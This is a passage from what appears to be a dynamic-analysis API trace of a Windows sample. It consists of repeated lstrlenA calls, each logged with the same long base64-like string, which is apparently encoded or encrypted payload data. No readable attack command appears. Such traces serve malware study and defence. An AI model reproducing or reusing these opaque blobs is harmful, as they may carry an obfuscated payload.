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") returned 5792 [0128.361] lstrlenA (lpString="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") returned 5792 [0128.361] lstrlenA (lpString="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") returned 5792 [0128.361] lstrlenA (lpString="mdU+mIEkDgfqAIOO+CErOIcj/44TH/51GoHl5EfkG3f+ew2nb1YTiXbpn1RL3mBkXlplnjtmtnqobVFqvqHE8MS/80vPEVDx5f+EwcsmDicF79nKdrK+MFDmWIPfGEjuZHoSpu2Kls6XQkEqarD7k92x3+pcixC0T1MbnGqMBlAMJ38CRIqE5nH71RK3VwmK5KIrAh0R2vZ8qYJPmg75RdH/eJcF6Z35DMvVuyDqpYXOlyryaYb5PDLn8UOULsboAmXl1s7sJFW+WkiGQPPbh9ZiAof7QR/x1ZwaENHdnb28y7AHCF+Int5y1ocyt27nQyOHLuWFIvDtwZDbS2GJvewJCqj+wAXxqZT2rTGokNXqiT3LJE1KYoiEMqVAZh876Pb17V7Zs8+21vFbGSNgGYINYaR3a8uMuMw/cEQoQkUq1xhXMdw0LbrMh2Ey58AYJjKEO13YBgHLcdpBSQDhp3Uzm6FplQcIuBF5B+aW/+E3/+/ZPjpVIgjg2pNvlFa2BKnWanJjqDuVQn8KWIpjgJt27RyX2fZTVqhxd1fkRh1ILlXha2IY052vHhS4+Fu16rI4Q6xIh2rklxQrbLZ1IarjrAUF48abLVK3LUGtA5cM8J0QgJoVD4BXSiGcji3Nr9pvHaiUJ/+SN0smfGv03bTcrjcA+QPBPQdz0Ga/5kKcBQBcJvqiz1kGYVxNSJgV3ZYz+ycuV4yfhg/F8OJFlaTRfotvPyVoBT6L4EvW6wLm56I8J1ewra46LNmiyIp1LLtFvVNfCmoZz7l6Mcz0UboWgtKxq3zFCRnmh5BWYOg1Gr2CjeV2GGXHPnLiafXptLDRbp7K+f7c2FXdj1T0euSXFvz8jKRlW6eiuuR1EY